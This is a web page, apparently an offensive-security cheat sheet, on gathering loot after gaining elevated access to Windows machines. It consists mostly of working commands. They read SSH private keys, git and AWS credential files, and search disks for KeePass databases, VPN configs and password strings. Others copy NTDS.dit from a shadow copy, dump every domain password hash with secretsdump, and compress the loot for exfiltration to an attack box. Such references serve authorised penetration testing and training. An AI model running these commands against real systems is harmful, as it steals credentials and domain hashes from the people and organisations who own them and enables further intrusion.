Skip to content
HackIndex logo

HackIndex

Windows File and Data Loot Collection

3 min read Jul 14, 2026

After gaining elevated access, collect high-value files before moving laterally or establishing persistence. Focus on credentials, SSH keys, configuration files, databases, and sensitive documents. Work quickly — prioritise high-signal sources over exhaustive searches.

Interesting file locations

Start with known locations before running broad searches. These paths reliably contain credentials and sensitive data across most Windows environments.

PS C:\Users\Guest\Desktop> # SSH keys
PS C:\Users\Guest\Desktop> dir /s /b C:\Users\ | findstr "\.ssh"
PS C:\Users\Guest\Desktop> dir C:\Users\*\.ssh\
type C:\Users\$env:USERNAME\.ssh\id_rsa
 
PS C:\Users\Guest\Desktop> # KeePass databases
PS C:\Users\Guest\Desktop> dir /s /b C:\ | findstr /si ".kdbx"
 
PS C:\Users\Guest\Desktop> # VPN and remote access configs
PS C:\Users\Guest\Desktop> dir /s /b C:\ | findstr /si ".ovpn .rdp .pcf"
 
PS C:\Users\Guest\Desktop> # Git credential store
PS C:\Users\Guest\Desktop> type C:\Users\$env:USERNAME\.git-credentials
PS C:\Users\Guest\Desktop> type C:\Users\$env:USERNAME\AppData\Roaming\GitHub\credentials
 
PS C:\Users\Guest\Desktop> # AWS and cloud credentials
PS C:\Users\Guest\Desktop> dir C:\Users\$env:USERNAME\.aws\
type C:\Users\$env:USERNAME\.aws\credentials
 
PS C:\Users\Guest\Desktop> # Recent files (opens last accessed documents)
PS C:\Users\Guest\Desktop> (New-Object -com shell.application).NameSpace('shell:recent').items() | Select-Object Name, Path

Searching for sensitive files

When targeted searches come up empty, run broader pattern-based searches. Keep searches focused on user-controlled directories to avoid generating excessive noise and slow results.

PS C:\Users\Guest\Desktop> # Search for files containing password strings
PS C:\Users\Guest\Desktop> findstr /s /i /m "password" C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini C:\Users\*.ps1 C:\Users\*.bat
 
PS C:\Users\Guest\Desktop> # Search by filename patterns
PS C:\Users\Guest\Desktop> dir /s /b C:\Users\ | findstr /si "pass cred secret token key config"
 
PS C:\Users\Guest\Desktop> # PowerShell recursive search with content matching
PS C:\Users\Guest\Desktop> Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.ps1,*.bat,*.config -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|credential|secret' -CaseSensitive:$false | Select-Object Path, LineNumber, Line
 
PS C:\Users\Guest\Desktop> # Find recently modified files (last 7 days)
PS C:\Users\Guest\Desktop> Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending | Select-Object -First 50

Active Directory database (NTDS.dit)

On domain controllers, NTDS.dit contains every domain user's password hash. This is the crown jewel of an AD engagement. The file is locked by the AD DS service while running, so it requires extraction via VSS (Volume Shadow Copy).

PS C:\Users\Guest\Desktop> # Create a shadow copy
PS C:\Users\Guest\Desktop> vssadmin create shadow /for=C:\
PS C:\Users\Guest\Desktop> # List shadow copies to get the shadow copy path
PS C:\Users\Guest\Desktop> vssadmin list shadows
 
PS C:\Users\Guest\Desktop> # Copy NTDS.dit and SYSTEM from shadow copy
PS C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
PS C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.hiv
 
PS C:\Users\Guest\Desktop> # Cleanup shadow copy after extraction
PS C:\Users\Guest\Desktop> vssadmin delete shadows /shadow=<shadow-copy-id> /quiet
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -ntds ntds.dit -system system.hiv -hashes lmhash:nthash LOCAL
 
# Output all hashes to file
impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL > domain_hashes.txt

Staging and compressing for transfer

Before exfiltrating multiple files, stage and compress them into a single archive. Smaller transfers are faster and generate fewer connection events.

PS C:\Users\Guest\Desktop> # Compress with PowerShell (built-in, no tools needed)
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\loot\ -DestinationPath C:\Windows\Temp\loot.zip
 
PS C:\Users\Guest\Desktop> # Add files to existing archive
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\sam.hiv -Update -DestinationPath C:\Windows\Temp\loot.zip
 
PS C:\Users\Guest\Desktop> # Compress single file
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\ntds.dit -DestinationPath C:\Windows\Temp\ntds.zip

Once files are staged and compressed, transfer them to your attack box. For all transfer methods see Transferring Files to and from Windows. For how to use extracted hashes for lateral movement see Pass-the-Hash and Pass-the-Ticket.